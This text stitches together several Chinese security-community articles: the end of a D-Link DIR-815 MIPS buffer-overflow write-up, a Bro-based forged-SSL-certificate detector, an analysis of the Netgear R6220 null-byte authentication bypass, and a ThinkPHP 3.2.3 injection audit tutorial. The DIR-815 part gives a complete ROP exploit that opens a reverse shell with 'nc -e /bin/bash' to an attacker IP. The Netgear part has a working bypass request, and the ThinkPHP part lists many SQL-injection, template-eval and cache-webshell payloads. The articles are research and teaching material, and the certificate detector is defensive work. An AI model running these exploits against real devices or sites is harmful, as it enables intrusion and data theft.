rw-p 00005000 08:01 547907 /lib/ld-uClibc.so.07ffd6000-7fff7000 rwxp 00000000 00:00 0 [stack]7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso][11]+ Stopped /htdocs/web/hedwig.cgi
# 编写exp
system方法：将上面的exp的libc基地址和偏移改掉然后cmd换成`nc -e /bin/bash 192.168.x.145
9999`（IP地址是ubuntu机器的，即攻击主机IP）
#!/usr/bin/python2from pwn import *context.endian = "little"context.arch = "mips"base_addr = 0x77f34000system_addr_1 = 0x53200-1gadget1 = 0x45988gadget2 = 0x159cccmd = 'nc -e /bin/bash 192.168.79.145 9999'padding = 'A' * 973 #1009-4*9padding += p32(base_addr + system_addr_1) # s0padding += p32(base_addr + gadget2) # s1padding += 'A' * 4 # s2padding += 'A' * 4 # s3padding += 'A' * 4 # s4padding += 'A' * 4 # s5padding += 'A' * 4 # s6padding += 'A' * 4 # s7padding += 'A' * 4 # fppadding += p32(base_addr + gadget1) # rapadding += 'B' * 0x10padding += cmdf = open("context",'wb')f.write(padding)f.close()
生成的context通过scp拷贝到mips虚拟机中并且`nano debug.sh`更改debug.sh
`新的debug.sh内容：（在路由器仿真系统执行，即被攻击机）`
#!/bin/bashexport CONTENT_LENGTH="100"export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="uid=`cat context`"export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"echo "uid=1234"|/htdocs/web/hedwig.cgi#echo "uid=1234"|./gdbserver.mipsel 192.168.x.145:9999 /htdocs/web/hedwig.cgi
在mips虚拟机运行之后在本机nc -vlp 9999，确实能够获取/bin/bash权限。成功了！说明rop链构造是没问题的。
`最后：`exp当然不止这一种，其他可以利用的方法也许多，由于受限于个人的知识水平，整理难免会出现不正确的地方，如若发现了问题，欢迎指出，笔者也会修改和完善相关内容，继续努力贡献更优质的号文章分享给大家。
# 总结
由于各种原因涉及此行业，也是个人第一个完整复现成功的漏洞，在学习过程中发现许多问题，并且从解决过程中收获许多，正是因为遇到许多奇怪的坑，并且能找的相关资料甚少，所以花了大量时间完成了本文，文中内容尽量做到细节步骤都配图说明，希望能帮助到更多的同学。
`浅聊心态历程：`遇到各种问题被卡住时难免会产生放弃及怀疑的思虑，坚持下来的原因对我而言更多的是热爱，如若不是兴趣趋势，小劝各位同学尽早发现自己喜欢的方向或者职业。
# 参考
1，DIR815缓冲区溢出漏洞分析相关：
<https://pup2y.github.io/2020/05/22/dir815-huan-chong-qu-yi-chu-lou-dong-zai-fen-xi/>[1]
<http://www.giantbranch.cn/2018/05/03/D-Link_DIR-815_%E8%B7%AF%E7%94%B1%E5%99%A8%E5%A4%9A%E6%AC%A1%E6%BA%A2%E5%87%BA%E5%88%86%E6%9E%90/>[2]
<https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/#0x02-IDA%E9%9D%99%E6%80%81%E5%88%86%E6%9E%90[3>]
2，环境搭建
<https://blog.csdn.net/weixin_44309300/article/details/118526235>[1]
<https://pup2y.github.io/2020/03/30/lu-you-qi-lou-dong-wa-jue-huan-jing-da-jian/>[2]
3，GDB+GDBServer调试Linux应用程序
<https://www.cnblogs.com/cslunatic/p/3635520.html>
4，配置文件
[httpd配置文件httpd.conf规则说明和一些基本指令](https://www.cnblogs.com/f-ck-need-u/p/7636836.html)
5，<<揭秘家用路由器0day漏洞挖掘技术>> | 社区文章 |
近期我们对SSL协议、X.509证书进行研究，并使用python语言与Bro工具编写了辨别SSL证书真伪性的工具，并在其基础上进行效率优化。内容并不复杂，所以我也就简单的将我们的思路写到此处，方便做类似项目的同学进行参考。
## 前言介绍
本课题系统地研究SSL协议、X.509证书体系、中间人攻击原理和网络协议分析工具Bro，深入地调研中间人攻击案例和伪造SSL证书案例，旨在设计一种通过日志分析来检测伪造SSL证书的方法，能够通过分析Bro产生的SSL日志与X.509日志，发现证书伪造行为。
我们的设计思路大致如下：①获取访问流量包。②使用Bro工具将流量包解析出X.509日志。③通过数据库、pycurl包进行检测。④分析检测结果。
此项目重点在于将日志中的不同访问网页的证书信息进行分析，抓取到该网页的Issuer （颁发者）、Subject（主体）、Validity
（有效期）等。而网页中用来验证证书是否合法的方法如下：
* 1、证书是否是信任的有效证书。所谓信任：浏览器内置了信任的根证书，就是看看web服务器的证书是不是这些信任根发的或者信任根的二级证书机构颁发的。所谓有效，就是看看web服务器证书是否在有效期，是否被吊销了。
* 2、对方是不是上述证书的合法持有者。简单来说证明对方是否持有证书的对应私钥。验证方法两种，一种是对方签个名，我用证书验证签名；另外一种是用证书做个信封，看对方是否能解开。以上的所有验证，除了验证证书是否吊销需要和CA关联，其他都可以自己完成。验证正式是否吊销可以采用黑名单方式或者OCSP方式。黑名单就是定期从CA下载一个名单列表，里面有吊销的证书序列号，自己在本地比对一下就行。优点是效率高。缺点是不实时。OCSP是实时连接CA去验证，优点是实时，缺点是效率不高。
具体来说，现在存在的网站是如何验证证书是否是合法的呢？下面我引用下网友写的比较好的验证流程。
1. 证书都是由CA组织下认可的根证书Root签发的（其中有两种形式，第一种是该组织有一个Root，每一家的Root Ca都需要其签名，该方案基于利益考量几乎没人采用，而是第二种方案，每家都有自己的Root CA 可以自签或者互相签名)。这个组织很难进，目前几乎完全由欧美控制,每年都有轮值主席负责该年CA组织工作，主要涉及到新的RFC审核和修改，新的CA申请和已有CA日志审核以及提出新的CA方案等。其他不通过该组织认证的证书签发者都是不安全的，此外该组织会对每年每个CA签发的证书进行审核。因此可以保证正常途径签发的证书根是绝对可信的。所有改组织通过的CA会强迫浏览器和系统安装(常见的厂商有VeriSign, Microsoft, Oracle和Molliza 这也是强制力的来源)
2. 证书分为DV(Digital Verification)，OV(Organization Verification)和EV(Extended Verification)，其中EV证书最贵，可以在浏览器中看到绿色的就是EV证书。证书从申请到批准要走很久的流程，需要提供很多的公司认证信息和个人信息，否则是不会通过的。因此可以保证签发的证书内容是可信的。
3. 证书是需要预装的，特别是根证书。IE和Chrome是通过内置在Windows系统中的TrustStore来管理根证书（当然自己也可以手动导入自签证书，浏览不会认可的因为有OCSP和CRL--之后细讲）；而Firefox则是内置在自己的浏览中。
4. 综上，通俗的来说一个CA如果要商业化，要做以下几步：申请加入CA组织，然后向Microsoft提申请加入TrustStore(通过Windows自我更新或者通过其他证书导入时加入）和Mozilla组织申请加入Firefox TrustStore。
而证书的工作原理是如何的呢？
以访问<https://www.google.com(https)举例。>
1. 浏览器发现此为HTTPS请求，握手拿到google的证书，先从系统(Windows)或者浏览器内置（Firefox）检查证书链是否正确。
【补充】简略步骤如下
a. 客户端发送信息，带上支持的SSL或者TLS版本(注意不同浏览器版本支持不同)
b. 服务器返回确认使用的加密通信协议版本以及加密随机数和证书
c. 浏览器验证证书 -> OCSP或者CRL
结合自带truststore注意此处验证分为双向验证和单向验证，单向验证客户浏览器即可完成，即客户端truststore存放服务器public证书；双向验证客户浏览器需要带客户端证书到服务器端由服务器端验证，客户端truststore存放服务器端public证书，keystore存放自身private证书，服务器端truststore存放客户端public证书，keystore存放自身private证书。
2. 如果验证失败则会拦截
3. 之后浏览器会尝试查CRL(证书吊销列表)和OCSP(在线证书检查)，其中OCSP是前者的替代和新技术，这是由于CRL发布时间一般是7天(不过接到新通知要改为1天了）并且很大不方便。但是考虑到老浏览器只能用CRL，并且CRL可以缓存本地对于网速差情况还是有用的，此外Firefox虽然支持OCSP但是可以手动关闭也是CRL存在的原因。注意：CA不会直接暴露到外网的，如果需要访问CA服务器需要使用硬件Token并且多人在场录像，且只能远程访问。OCSP相当于证书数据库的备份而已是直接暴露在外网的可以通过HTTP或者HTTPS访问。
4. 如果发现证书并没有被吊销或者过期则浏览器对EV证书会显示为绿色，对OV证书则是通过放行。否则弹出通知---该网站不可信(不同浏览器不同--Edge浏览器）
而开始时我们也准备使用上述方法进行对工具的编写，可是我们发现我们并不能直接得到证书的公钥。而我们也得知非伪造的证书的subject是正常的，也就是说当我们拿到一个伪造证书时，可以curl一下此网页进行再访问，并获得subject。进行比对后我们就很清晰的得到其真伪性了。
下面我具体的交代一下此检验工具的编写思路。
## 系统编写思路
如上图所示，我们检测工具可由上述部分组成：
* ①使用wireShark或者Bro工具获取流量包。
* ②使用python脚本对所获取流量包进行日志解析以便我们能提取出所需要的ssl证书信息。
* ③对证书进行详细分析（辨别真伪）并记录。
* ④分析最终情况并得出所需结论。
下图展示ssl分析器的具体架构
对于日志解析器来说，它可以提取可用数据并进行解析。我们知道一个流量包中记录了访问记录的各种数据，而并不是所有的数据都可以为我所用。所以我只需提取出与项目相关的数据即可。
由于日志解析器的内容相对较难编写，我将python代码公布于此。
''' This module handles the mechanics around easily pulling in Bro Log data
The read_log method is a generator (in the python sense) for rows in a Bro log,
because of this, it's memory efficient and does not read the entire file into memory.
'''
import csv
import datetime
import optparse
import itertools
import os
import sys
import test_mysql
class BroLogReader():
''' This class implements a python based Bro Log Reader. '''
def __init__(self):
''' Init for BroLogReader. '''
self._delimiter = '\t'
def read_log(self, logfile, max_rows=None):
''' The read_log method is a generator for rows in a Bro log.
Usage: rows = my_bro_reader.read_log(logfile)
for row in rows:
do something with row
Because this method returns a generator, it's memory
efficient and does not read the entire file in at once.
'''
# First parse the header of the bro log
bro_fptr, field_names, field_types = self._parse_bro_header(logfile)
# Note: The parse_bro_header method has advanced us to the first
# real data row, so we can use the normal csv reader.
reader = csv.DictReader(bro_fptr, fieldnames=field_names,
delimiter=self._delimiter, restval='BRO_STOP')
for _row in itertools.islice(reader, 0, max_rows):
values = self._cast_dict(_row)
if (values):
yield values
def _parse_bro_header(self, logfile):
''' This method tries to parse the Bro log header section.
Note: My googling is failing me on the documentation on the format,
so just making a lot of assumptions and skipping some shit.
Assumption 1: The delimeter is a tab.
Assumption 2: Types are either time, string, int or float
Assumption 3: The header is always ends with #fields and #types as
the last two lines.
Format example:
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field - #path httpheader_recon
#fields ts origin useragent header_events_json
#types time string string string
'''
# Open the logfile
_file = open(logfile, 'rb')
# Skip until you find the #fields line
_line = next(_file)
while (not _line.startswith('#fields')):
_line = next(_file)
# Read in the field names
_field_names = _line.strip().split(self._delimiter)[
1:] # [1:] represents record except #fields,self._delimiter is defined in __init__(self)
# Read in the types
_line = next(_file)
_field_types = _line.strip().split(self._delimiter)[1:]
# Return the header info
return _file, _field_names, _field_types
def _cast_dict(self, data_dict):
''' Internal method that makes sure any dictionary elements
are properly cast into the correct types, instead of
just treating everything like a string from the csv file
'''
for key, value in data_dict.iteritems():
if (value == 'BRO_STOP'):
return None
data_dict[key] = self._cast_value(value)
return data_dict
def _cast_value(self, value):
''' Internal method that makes sure any dictionary elements
are properly cast into the correct types, instead of
just treating everything like a string from the csv file
'''
# First try time
try:
return datetime.datetime.fromtimestamp(float(value))
# Next try a set of primitive types
except ValueError:
tests = (int, float, str)
for test in tests:
try:
return test(value)
except ValueError:
continue
return value
def fileRows(fileName): #count the whole lines
f = open(fileName,'r')
i=0
for ii in f.readlines():
i=i+1
return i
def get_allfilename(input_dir):
for (path,dirname,filenames) in os.walk(input_dir):
return filenames
if __name__ == '__main__':
# Handle command-line arguments
PARSER = optparse.OptionParser()
PARSER.add_option('--logfiledir', default=None, help='Logfile to read from. Default: %default')
OPTIONS, ARGUMENTS = PARSER.parse_args()
# print OPTIONS, ARGUMENTS
for filename in get_allfilename(OPTIONS.logfiledir):
filedir=OPTIONS.logfiledir+"/"+filename
# Create a BRO log file reader and pull from the logfile
BRO_LOG = BroLogReader()
RECORDS = BRO_LOG.read_log(filedir, max_rows=fileRows(filedir))
for row in RECORDS:
test_mysql.mysql_con(row)
而证书分析器是我们工具的重点。
证书信息分析器是整个检测方法的核心部分，其主要功能是根据日志记录中证书相关的字段信息来分析并判断该记录中的证书是伪造证书，还是可疑证书或非伪造证书。
证书信息分析器的整体运行流程如下图所示。首先，证书信息分析器将提取经过日志解析器解析后的日志记录中的字段certificate.subject、certificate.issuer、certificate.not_valid_before、certificate.not_valid_after的值，分别代表了证书的主体、颁发者、有效期（包含起始时间和结束时间两个属性）。
如果某个证书的签发机构是其本身，那么称该证书为自签名证书。一般的自签名证书都不是由受信任的根证书颁发机构颁发，系统无法验证其安全性，因此一般来说自签名证书都属于伪造证书，且多用于SSL中间人攻击中。因此，如果certificate.subject值等于certificate.issuer值，即颁发机构就是主体本身，说明该证书属于自签名证书，证书信息分析器判定其是伪造证书，若证书信息数据集中已有该证书记录，则更新出现次数字段的值，若不存在该证书记录，就将证书字段相关信息与检测结果存入证书信息数据集中。
而如果certificate.subject值不等于certificate.issuer值，即颁发者不是主体，说明该证书不是自签名证书，且存在着一条证书链。由于本作品的流量采集环境Bro只具备记录证书的基本信息的功能，没有验证证书的能力，而且日志记录的数量庞大，若对每个证书都再进行一次证书链的验证过程，将耗费大量时间与内存。因此在这里采用这样的方法：对当前日志记录中的证书，查询证书信息数据集中同一证书不同记录（同一证书代表它们拥有相同的subject值）的证书信息，若不存在该证书的日志记录，那么判定该证书为非伪造证书，并将证书字段相关信息与检测结果存入证书信息数据集中。若存在该证书的日志记录，且与证书信息数据集中证书信息完全匹配，证书信息分析器判定该证书为非伪造证书，并更新出现次数字段的值。
若存在一条记录的证书信息与其他记录的证书信息不相同，判定该证书为可疑证书，并将证书字段相关信息与检测结果存入证书信息数据集中，并修改其他记录的检测结果。对于这些可疑证书的日志记录，系统将进一步通过可疑证书检测器来判定它们到底是伪造证书还是非伪造证书。
之后我们则要对可以证书进行进一步的判断。
## 数据库部分
由于我们在检测ssl证书的过程中使用了数据库。所以我们在这里将数据库的搭建思路写出来。
为了存储证书的可用信息以及检测结果、统计证书的伪造情况等，本系统中设计了证书信息表、伪造证书主体统计表、伪造证书颁发者统计表。
其主要功能是统计证书的可用信息，包括证书的主体、证书的颁发者、证书的起始时间和结束时间，以便与后续获取到的真实证书的信息进行比对。对于证书信息完全相同的日志记录，将日志记录出现的次数存储在字段occur_time中，更便于存储和统计工作。而字段forged用于记录该日志记录的证书的检测结果。
下面放出mysql的数据库搭建sql文件内容。
drop database if exists Cert_data;
create database Cert_data;
use Cert_data;
CREATE TABLE certinfo_a(
cert_id int(11) not null auto_increment,
cert_subject varchar(500) not null,
cert_issuer varchar(500) not null,
startdate varchar(40) not null,
expiredate varchar(40) not null,
occur_time int(11) not null default'1',
forged int(11),
primary key(cert_id)
);
CREATE table certinfo_b like certinfo_a;
CREATE table certinfo_c like certinfo_a;
CREATE table certinfo_d like certinfo_a;
CREATE table certinfo_e like certinfo_a;
CREATE table certinfo_f like certinfo_a;
CREATE table certinfo_g like certinfo_a;
CREATE table certinfo_h like certinfo_a;
CREATE table certinfo_i like certinfo_a;
CREATE table certinfo_j like certinfo_a;
CREATE table certinfo_k like certinfo_a;
CREATE table certinfo_l like certinfo_a;
CREATE table certinfo_m like certinfo_a;
CREATE table certinfo_n like certinfo_a;
CREATE table certinfo_o like certinfo_a;
CREATE table certinfo_p like certinfo_a;
CREATE TABLE subjectrecord(
cert_subject varchar(500) not null,
occur_time int(11) not null,
primary key(cert_subject)
);
CREATE TABLE issuerrecord(
cert_issuer varchar(500) not null,
occur_time int(11) not null,
primary key(cert_issuer)
);
## 系统样例
当我们上传流量包后，我们进行测试得到上图的伪造证书与非伪造证书饼图。
当我们上传的流量包足够多时，我们的数据库中就会存在大量的数据样例。此时我们的系统工具则可以进行进一步的证书检测。当我们拿到新流量后，我们可以将其上传到我们的系统中并可以对其进行真伪检测。
## 测试结果
我们对我们手中的40w条流量数据进行了测试，我们得出如下内容。
通过对本次检测结果的分析，本文对SSL中间人攻击提出一些防范措施与建议。当用户采用HTTPS通信时，首先必须要进行证书链验证这一步骤。对于一些需要安装证书的网站，尤其是那些需要进行个人信息填写、网上即时交易的网站，务必要谨慎再谨慎，一旦发现安装的证书中存在任何可疑的地方，应立刻中断与该网站的连接。或者当用户已经安装了该网站的证书，但在与该网站通信时，网站仍然要求用户安装证书，那么这个证书很有可能就是伪造的，用户应当立即中断与网站的连接并通过其它可信赖的方式验证该网站是否更改过证书。
而对于那些浏览器出现诸如“该网站证书存在问题”或“您的连接不是私密连接”等警告字样时，也务必多加留意，检查该网站证书的主体与颁发者、该网站的域名是否与网站证书域名相一致，同时不应该在该网站上填写隐私信息或进行网上交易，因为此时用户很有可能就受到了中间人攻击。如果发现访问网站的速度比平时慢很多，有可能遭到了ARP攻击，此时应通过ARP查询来检验自己是否遭到了中间人攻击。
即便用户对网站证书有一定了解，也未必能察觉到自己正遭受SSL中间人攻击。
由于篇幅有限，部分内容无法进行详细的交代。对于ssl证书的检测工具的编写我们提出了一种思路，也希望能帮助到对此进行研究的同行。如有需要大家可以在下方留言，我会进行答复。
* **本稿为原创稿件，转载请标明出处。谢谢** 。 | 社区文章 |
# Netgear R6220 认证绕过漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 00-前言
依据cve/zdi等平台发布的漏洞信息，借助补丁对比技术，对Netgear r6220认证绕过漏洞进行研究，涉及漏洞的发现过程、成因分析、POC编写。
## 01-简介
1、漏洞描述：https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17137
This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of NETGEAR AC1200 R6220 Firmware version 1.1.0.86 Smart WiFi Router. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of path strings. By inserting a null byte into the path, the user can skip most authentication checks. An attacker can leverage this vulnerability to bypass authentication on the system.
2、关键点：netgear r6220、版本1.1.0.86及之前、认证绕过、路径字符串中null字节
3、通过认证绕过，可访问一些受限页面，会造成敏感信息泄漏，扩大被攻击面
## 02-准备
1、确定待比较版本：[netgear中国站点](http://support.netgear.cn/doucument/Detail.asp?id=2294)存在1.1.0.86和1.1.0.92这两个版本（以下简称86版和92版），由上述漏洞描述可知86版是有漏洞版本，而[92版的版本说明](http://support.netgear.cn/doucument/Version.asp?id=5224)中提及修复了[PSV-2019-0109](https://kb.netgear.com/000061516/Security-Advisory-for-HTTP-Authentication-Bypass-on-the-R6220-PSV-2019-0109)（netgear自家的漏洞编号），综合上述信息，选择86与92为对比版本
2、固件下载：
Version
1.1.0.86（有漏洞）：<http://support.netgear.cn/Upfilepath/R6220-V1.1.0.86.img>
Version
1.1.0.92（已修复）：<http://support.netgear.cn/Upfilepath/R6220-V1.1.0.92_1.0.1_BETA.img>
3、相关工具
- 漏洞对比：ida 6.8 + bindiff 4.3
- 静态分析：ida 6.8
- http发包：burpsuite
- 文件系统提取：Ubuntu 18.04下binwalk
4、ps：因手头正好有一台1.1.0.68（86之前）的netgear r6220，因此省去了固件模拟的步骤
## 03-补丁对比
> bindiff的用法自行学习，本文不再赘述
1、按相似度不为1，从上到下依次看，略过库函数，重点看sub_xxx这种未命名函数
2、运气比较好，看了第一个sub_4094c8 vs sub_409548
就找到了敏感位置，这两个函数代码块比较多（500+），故bindiff中并未完全展开，如下所示：二者有6处不同，右-92版比左-86版多了两个代码块，重点看这两种
3、依次查看黄色代码块（即有变化的），直到发现如下：右侧出现了a00，即00字符串。
4、联想漏洞描述中“By inserting a null byte into the path……”，此处比较可疑，ida中重点看一下（已修复的92版）
向上追溯，可推断strstr的参数1为uri，若发现00字符，则最终跳往如下：明显进入了处理错误的流程
5、经过如上分析，可基本断定补丁所修补的地方，接下来需进一步分析程序，来看漏洞如何出现，又该如何触发
6、PS：补丁对比本身也是要看运气的，首先要从众多函数中找到已修改且敏感的函数，再找函数中修改过的代码块，再结合漏洞信息来判定，如果不是，则周而复始再看其他的，也比较耗时
## 04-简单测试
1、binwalk从固件中提取出文件系统，其web根目录有如下文件，随手测试几个
2、/currentsetting.htm可直接访问，无需经过认证
3、/index.htm则需要经过认证
4、联系漏洞描述“The specific flaw exists within the processing of path strings. By
inserting a null byte into the path, the user can skip most authentication
checks.”，漏洞可能发生在此处对uri的处理中。
## 05-漏洞分析
> 基于92已修复版本的web程序，其位于文件系统下/usr/sbin/mini_httpd
1、通过bindiff定位到大概位置 **（上述步骤4）** ：92版sub_409548函数中strstr检测%00处
2、向上回溯，如下：j跳转到一个循环，将某标志置为0（mips的流水线效应），并取了一堆字符串的首地址
3、off_422c10处是字符串数组，这些html无需认证就可访问
4、循环中遍历uri中是否出现这个html文件，若出现，则将标志置1
5、上述补丁对比时，发现有一个strstr来判断uri中是否出现%00，若没发现，则继续调用sub_404ad4并传参uri
6、sub_404ad4中，逐个字符来检测uri中是否出现%，并对其后的两个字符作进一步处理，大概可推测是URL解码的操作，查看处理函数sub_404a80可验证上述猜想
7、注意，上述分析都是基于92版即已修复版本的，在86有漏洞版本中，并没有strstr对%00的过滤，如上述bindiff截图所示
## 06-构造POC
1、有漏洞版本中：没有验证%00是否存在，直接进行了URL的解码处理，因此%00可以导致字符串的截断，结合成因分析步骤3/4中循环检测currentsetting.html等字符串的操作，可构造如下poc
GET /index.htm%00currentsetting.htm HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
2、认证绕过的逻辑
1. uri为：`/index.htm%00currentsetting.htm`
2. 程序先检测uri，确实存在`currentsetting.html`这种无需认证就可访问web文件
3. 随后未检测%00便进行URL解码，产生00截断，此时uri为：`/index.htm`，前面已经经过了检测，故正常进行访问
4. %00前是真正要访问的web文件，%00后是为了绕过认证而特意添加的“合法后缀”，程序处理逻辑有误，故造成认证绕过
3、如burp测试时，直接访问/index.htm会提示401，而通过poc可绕过认证
## 07-小结
这个漏洞原理比较简单，简单捋一下
1、认证时逻辑有误，导致认证绕过
2、读取受限文件，若文件中包含密码等信息则造成敏感信息泄漏
3、不管在LAN端还是WAN端，都扩大了被攻击面
官方的修复看起来有些草率，既然是null
byte的截断漏洞，就直接strstr检测%00，有种“黑名单”的思想，但换一种角度想，代码更新迭代至今，这种修复方式也是无可奈何
## 08-参考
1、ZDI漏洞通告：<https://www.zerodayinitiative.com/advisories/ZDI-19-866/>
2、官方补丁说明：<https://kb.netgear.com/000061516/Security-Advisory-for-HTTP-Authentication-Bypass-on-the-R6220-PSV-2019-0109>
`From 新概念研究中心` | 社区文章 |
## 配置数据库以及调试
路径
Code-audit/thinkphp_3.2.3_full/ThinkPHP/Conf/convention.php
配置
/* 数据库设置 */
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'thinkphp3', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
或者在Common下配置
加入调试语句：
'SHOW_PAGE_TRACE' =>true,
控制器配置
Code-audit\thinkphp_3.2.3_full\Application\Home\Controller\IndexController.class.php
字符串方式查询
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$map['id'] = I('GET.id');
$data = M('users')->where($map)->find();
// $data = M('users')->find(I('GET.id'));
var_dump($data);
}
}
## where注入
字符串查询
$data = M('users')->where('id='.I('GET.id'))->find();
var_dump($data);
注入：
http://localhost//Code-audit/thinkphp_3.2.3_full/?id=1) and 1=(updatexml(1,concat(0x7e,user(),0x73),1)
调试一下，会进入一个条件判断
一直向下跟，进入到了字符串查询模式
最后返回一个完整的SQL
### 数组条件查询（防止注入）
数组查询进入__parseType方法，val值会变成int
$User = M("users"); // 实例化User对象
$map['id'] = I('GET.id');
// 把查询条件传入查询方法
$data = $User->where($map)->select();
var_dump($data);
调试跟入，可以看到1p被强制转换为1
## table注入
用来切换表名的，当表名可控时，就会产生注入
public function table_sql(){
$data = M()->table(I('tab'))->where('1=1')->find();
var_dump($data);
}
先输入一个不存在的表名user（原本为users）
调试看看
这里已经进入到error了，就不会执行select了
输入存在的users表就会进入select
输入注入语句：
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/table_sql?tab=users where 1=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
如果框架使用了table方法，就会存在注入，可以搜索
## field方法注入
操作表中字段、限制查询返回的结果，使用的次数比较多
只要field方法的参数可控，无论是数组还是字符串，都可以被注入
public function field_sql(){
$data = M('users')->field(array('id','username'=>I('name')))->select();
var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/field_sql?name=uname from users where 1=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
只要控制了字段名和别名都可以注入
## alias、join、union方法
alias方法用来操作别名，与field方法类似，一般与join成对出现
如果可控，都可注入，可以使用正则来寻找他们
->alias($a)
->alias($_GET)
->alias(I)
->join($
->union($
->(alias|join|union)\((\$|I)
## order、group、having
数组和字符串都存在注入
### orderby
例如orderby
public function ogh_sql(){
$data = M('users')->where('1=1')->order(array('id'=>I('orderby')))->select();
var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?orderby=,(select 1=updatexml(1,concat(0x7e,database(),0x7e),1))
### group
public function ogh_sql(){
$data = M('users')->field('id,username')->group(I('uname'))->select();
var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?uname=(1=updatexml(1,concat(0x7e,user(),0x7e),1))
### having
public function ogh_sql(){
$data = M('users')
->field('id,username')
->group(I('uname'))
->having(I('having'))
->select();
var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?uname=username&having=(1=updatexml(1,concat(0x7e,user(),0x7e),1))
三者都是在最后进行拼接
## comment、index
### comment
例子：
public function comment_sql(){
$data = M('users')->comment(I('comment'))->where('1=1')->find();
var_dump($data);
}
comment主要是用来注释的，例如
拼接注释符即可造成注入（在mysql5.5下执行成功）
*/ procedure analyse(extractvalue(rand(),concat(0x7e,user())),2)%23
### index
此方法用于数据集的强制索引操作，对查询强制使用userid索引，userid必须是数据表实际创建的索引名称
例子：
public function getUserIndex(){
$data = M('users')->force(I('f'))->select();
var_dump($data);
}
) procedure analyse(extractvalue(rand(),concat(0x7e,user())),2)%23
全局搜索关键字force来查找漏洞，TP5
## query、execute、聚合方法
### query
实例化一个空模型后使用query方法查询数据
$data = M()->query("select * from users");
dump($data);
### execute
可以新增、修改、删除数据
M()->execute("update users set username='root' where id=1");
### 聚合方法
count、max、min、avg、sum这5个方法注入场景类似
$data = M('users')->count(I('parameter'));
dump($data);
可控，闭合括号
id) from users where 1=1 and updatexml(1,concat(0x7e,user()),1)%23
## EXP注入（表达式注入）
上面的查询条件仅仅是一个简单的相等判断，可以使用查询表达式支持更多的SQL查询语法，也是ThinkPHP查询语言的精髓，查询表达式的使用格式：
$map['字段名'] = array('表达式','查询条件');
EQ ：等于（=）
例如：
$map['id'] = array('eq',100);
和下面的查询等效
$map['id'] = 100;
注入例子：
public function getUser(){
$map['id'] = $_GET['id'];
$data = M('users')->field('username')->where($map)->select();
dump($data);
}
官方I('id')，则不会有注入，跟进的时候会进入where这里，有转义
如果使用原生态的$_GET['id']引入，会带入SQL查询，就有可能产生注入，我们可以传入exp数组
http://localhost/index.php/Home/Index/getUser?id[0]=exp&id[1]==1
http://localhost/index.php/Home/Index/getUser?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user()),1)
使用exp时，这里会进行拼接
### setInc
public function getUser(){
$User = M('users');
$User->where('id=3')->setInc('score',I('num'));
}
步长没有过滤，下面还有表达式
这里传入
http://localhost/index.php/Home/Index/getUser?num=2 and updatexml(1,concat(0x7e,user()),1)
## Action参数注入
一般审计时先查找I方法或$_GET、$_POST等原生态请求，然而Action参数传入也有可能存在注入
public function getUser($id){
$data = M('users')->field('username')->where('id ='.$id)->select();
var_dump($data);
}
http://localhost/index.php/Home/Index/getUser/?id=2) and updatexml(1,concat(0x7e,user()),1)%23
使用正则来搜索存在的action参数
public\s+function\s+[\w_-]+\(\$
## 组合注入
<https://www.kancloud.cn/manual/thinkphp/1771>
### _string
public function getUserIndex(){
$User = M("users"); // 实例化User对象
$map['id'] = array('eq',1);
$map['name'] = 'ok';
$map['_string'] = 'score='.I('score');
$data = $User->where($map)->select();
var_dump($data);
}
http://localhost/index.php/Home/Index/getUserIndex/?score=60) and updatexml(1,concat(0x7e,user()),1)%23
## 模板漏洞
如果'TMPL_ENGINE_TYPE'设置为php，（默认为think）最后会调用eval，从而造成模板注入
public function getUserIndex(){
$name = $_GET['name'];
$this->assign($name);
$this->display('index');
}
http://localhost/index.php/Home/Index/getUserIndex?name[_content]=%3C?php%20phpinfo();?%3E
跟进来之后，会执行eval
## PHP标签
IndexController.class.php
public function index(){
$name = I('name');
$this->assign('name',$name);
$this->display();
}
\Application\Home\View\Index\index.html
<html>
<title>
aaa
</title>
<body>
<h1>aaaa</h1>
<php>eval(${name})</php>
</body>
</html>
http://localhost/index.php/Home/Index/index?name=phpinfo();
## 缓存漏洞
public function index(){
// 缓存漏洞
F('key123','<?php phpinfo();?>');
}
如果runtime可以访问，则
使用S
文件名为key
内容
可以传入换行符
public function index(){
// 缓存漏洞
S('key',I('input'));
}
Code-audit\thinkphp_3.2.3_full\Application\Runtime\Temp\3c6e0b8a9c15224a8228b9a98ca1531d.php
Application\Runtime\Temp\3c6e0b8a9c15224a8228b9a98ca1531d.php
## Widget扩展
与controlller类似，在同级目录下创建widget
CateWidget.class.php
<?php
namespace Home\Widget;
use \Think\Controller;
class CateWidget extends Controller
{
public function index(){
phpinfo();
}
}
index.html
<html>
<title>
aaa
</title>
<body>
{:W('Cate/index')}
</body>
</html>
IndexController.class.php
public function index(){
$this->display();
}
